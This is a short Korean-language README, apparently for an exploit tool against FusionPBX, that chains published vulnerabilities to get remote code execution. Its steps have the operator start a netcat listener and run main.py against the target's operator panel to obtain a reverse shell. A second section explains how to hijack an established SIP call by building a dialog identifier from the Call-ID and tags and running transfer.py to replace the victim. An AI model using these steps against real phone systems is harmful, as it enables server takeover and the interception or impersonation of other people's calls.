서문

이 간단한 코드는 Dustin Cobb가 Caller ID를 사용한 RCE – FusionPBX의 다중 취약점에서 소개한 연쇄 취약점의 구현을 완성하려고 시도합니다.

RCE

재현 단계

1. 웹 브라우저에서 취약한 운영자 화면을 봅니다. 이 예제에서는 https://{fusionpbx_address}/app/operator_panel/index.php에 있습니다.
2. 원격 시스템(rce_listener_address)에서 netcat 리스너를 시작합니다.x`
3. 원격 시스템의 다른 터미널 창에서 아래의 익스플로잇 코드를 실행합니다: python3 .\main.py --close_rce_sockets False --attacker_address {attacker_address} --fusion_pbx_address {fusion_pbx_address} --rce_listener_address {rce_listener_address}
4. 익스플로잇은 netcat 리스너에 연결되어 리버스 셸을 제공합니다.

통화 대체

통화에서 Call-ID, from-tag, to-tag를 알고 있다면 아래 코드를 실행하여 통화에서 피해자 대신 자신을 대체할 수 있습니다.

재현 단계

1. 먼저 SIP UA 간에 통화를 시작합니다.
2. 통화가 설정된 후 {Call-ID}{semicolon}"to-teg:"{to-tag}"from-tag"{from-tag}를 연결하여 dialog_identifier를 구성해야 합니다.
3. 원격 시스템에서 아래의 하이재커 코드를 실행하고 피해자 번호로 자신을 대체합니다. python3 .\transfer.py --attacker_address {attacker_address} --fusion_pbx_address {fusion_pbx_address} --victim_number {victim_number} --dialog_identifier {dialog_identifier}